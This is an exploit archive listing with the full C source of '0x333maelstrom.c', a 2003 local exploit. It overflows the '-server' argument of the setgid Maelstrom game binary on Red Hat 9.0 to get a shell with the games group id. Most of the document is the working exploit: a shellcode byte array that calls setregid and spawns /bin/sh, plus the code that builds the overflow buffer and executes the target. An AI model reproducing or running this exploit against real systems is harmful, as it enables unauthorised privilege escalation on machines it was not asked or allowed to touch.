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0x333maelstrom.c

0x333maelstrom.c
Posted Dec 14, 2003
Authored by Cowboy, 0x333 | Site 0x333.org

Maelstrom local exploit that gives gid for user games making use of the overflow found in the -server switch. Tested against /usr/bin/Maelstrom on Red Hat 9.0

tags | exploit, overflow, local
systems | linux, redhat
SHA-256 | d35fbfa93b97946227f3f1032375023f8f6aba52ebed8a946e94bfbe4648d811

0x333maelstrom.c

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/*  0x333maelstrom => Maelstrom local game exploit
*
* proof-of-concept exploit tested against
* /usr/bin/Maelstrom under RH 9.0
*
* coded by c0wboy
*
* (c) 0x333 Outsiders Security Labs / www.0x333.org
*
*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define MAEL "/usr/bin/Maelstrom"
#define SIZE 8177
#define ALIGN 3


unsigned char shellcode[] =

"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b"
"\xcd\x80";



int main()
{
int i;
char out[SIZE];
char *cya[2] = { shellcode, NULL };

int *own = (int *)(out + ALIGN);

int ret = 0xbffffffa - strlen(shellcode) - strlen(MAEL);

for (i=0 ; i<SIZE-1 ; i+=4)
*own++ = ret;

out[0] = '3';
out[1] = '@';
out[2] = '3';

fprintf (stdout, "\n ** /usr/bin/Maelstrom local game exploit vr.0.2\n");
fprintf (stdout, " ** by c0wboy / www.0x333.org\n\n");

execle (MAEL, MAEL, "-server", out, NULL, cya);
}
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